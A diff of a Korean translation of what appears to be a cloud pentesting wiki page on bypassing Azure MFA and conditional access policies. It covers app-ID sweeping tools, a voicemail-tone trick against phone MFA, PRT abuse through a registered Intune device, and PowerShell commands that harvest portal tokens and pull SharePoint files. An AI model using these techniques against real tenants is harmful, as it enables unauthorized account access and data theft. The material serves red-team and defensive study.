+도구 [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)는 **하드코딩된 수십 개의 애플리케이션 ID**를 가지고 있으며, 이들에 로그인 시도하고 성공하면 토큰을 제공해 줍니다.

 특정 리소스에서 **특정 애플리케이션 ID를 테스트**하려면 다음과 같은 도구를 사용할 수 있습니다:
 ```bash
@@ -73,7 +73,7 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4

 <token>
 ```
-또한 로그인 방법을 보호하는 것도 가능합니다(예: 브라우저나 데스크톱 애플리케이션에서 로그인하려고 할 때). 도구 [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep)는 이러한 보호를 우회하려고 시도하는 몇 가지 검사를 수행합니다.
+또한 로그인 방법을 보호하는 것도 가능합니다(예: 브라우저 또는 데스크톱 애플리케이션에서 로그인하려고 할 때). 도구 [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep)는 이러한 보호를 우회하려고 시도하는 몇 가지 검사를 수행합니다.

 도구 [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken)도 유사한 목적으로 사용될 수 있지만, 유지 관리가 되지 않는 것처럼 보입니다.

@@ -83,7 +83,7 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4

 ### 링톤

-Azure MFA 옵션 중 하나는 **구성된 전화번호로 전화를 받는 것**이며, 사용자에게 **문자 `#`을 전송하라는 요청**이 있습니다.
+Azure MFA 옵션 중 하나는 **구성된 전화번호로 전화를 받는 것**이며, 사용자에게 **문자 `#`을 전송하라는 요청을 받습니다**.

 > [!CAUTION]
 > 문자들은 단지 **톤**일 뿐이므로, 공격자는 **전화번호의 음성 메일** 메시지를 **타협**하고, 메시지로 **`#`의 톤**을 설정한 다음, MFA 요청 시 **피해자의 전화가 통화 중**이 되도록 하여 Azure 전화를 음성 메일로 리디렉션할 수 있습니다.
@@ -92,7 +92,7 @@ Azure MFA 옵션 중 하나는 **구성된 전화번호로 전화를 받는 것*

 정책은 종종 준수 장치 또는 MFA를 요구하므로, **공격자는 준수 장치를 등록하고**, **PRT** 토큰을 얻어 **이 방법으로 MFA를 우회할 수 있습니다**.

-먼저 **Intune에 준수 장치를 등록한 다음**, **PRT를 얻으세요**:
+먼저 **Intune에 준수 장치를 등록한 다음**, **PRT를 얻습니다**:
 ```bash
 $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

@@ -105,16 +105,16 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
 다음 페이지에서 이러한 종류의 공격에 대한 추가 정보를 찾으십시오:

 {{#ref}}
-../../az-lateral-movement-cloud-on-prem/pass-the-prt.md
+../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 {{#endref}}

 ## 도구

 ### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)

-이 스크립트는 일부 사용자 자격 증명을 가져오고 일부 애플리케이션에 로그인할 수 있는지 확인합니다.
+이 스크립트는 일부 사용자 자격 증명을 가져와서 일부 애플리케이션에 로그인할 수 있는지 확인합니다.

-이는 나중에 **특권 상승**을 위해 악용할 수 있는 일부 애플리케이션에 로그인하는 데 **MFA가 필요하지 않은지** 확인하는 데 유용합니다.
+이는 나중에 **권한 상승**을 위해 악용할 수 있는 일부 애플리케이션에 로그인하는 데 **MFA가 필요하지 않은지** 확인하는 데 유용합니다.

 ### [roadrecon](https://github.com/dirkjanm/ROADtools)

@@ -131,7 +131,7 @@ Invoke-MFASweep -Username <username> -Password <pass>
 ```
 ### [ROPCI](https://github.com/wunderwuzzi23/ropci)

-이 도구는 MFA 우회를 식별하고 여러 생산 AAD 테넌트에서 API를 악용하는 데 도움을 주었습니다. AAD 고객은 MFA가 적용되었다고 믿었지만 ROPC 기반 인증이 성공했습니다.
+이 도구는 MFA 우회 방법을 식별하고 여러 생산 AAD 테넌트에서 API를 악용하는 데 도움을 주었습니다. AAD 고객은 MFA가 적용되었다고 믿었지만 ROPC 기반 인증이 성공했습니다.

 > [!TIP]
 > 앱을 무차별 대입할 수 있는 앱 목록을 생성하려면 모든 애플리케이션을 나열할 수 있는 권한이 필요합니다.
@@ -156,12 +156,12 @@ $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
 $cred = New-Object System.Management.Automation.PSCredential($username, $password)
 Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
 ```
-**Azure** **포털**이 **제한되지 않기 때문에**, 이전 실행에서 감지된 모든 서비스에 접근하기 위해 포털 엔드포인트에서 **토큰을 수집하는 것이 가능합니다**. 이 경우 Sharepoint가 식별되었고, 이를 접근하기 위한 토큰이 요청됩니다:
+**Azure** **포털**이 **제한되지 않기 때문에** 이전 실행에서 **감지된 모든 서비스에 접근하기 위해 포털 엔드포인트에서 토큰을 수집할 수 있습니다.** 이 경우 Sharepoint가 식별되었고, 이를 접근하기 위한 토큰이 요청됩니다:
 ```bash
 $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
 Read-JWTtoken -token $token.access_token
 ```
-토큰이 Sites.Read.All (Sharepoint에서) 권한을 가지고 있다고 가정할 때, MFA 때문에 웹에서 Sharepoint에 접근할 수 없더라도, 생성된 토큰을 사용하여 파일에 접근하는 것이 가능합니다:
+토큰이 Sites.Read.All 권한(Sharepoint에서) 을 가지고 있다고 가정할 때, MFA 때문에 웹에서 Sharepoint에 접근할 수 없더라도, 생성된 토큰을 사용하여 파일에 접근하는 것이 가능합니다:
 ```bash
 $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
 ```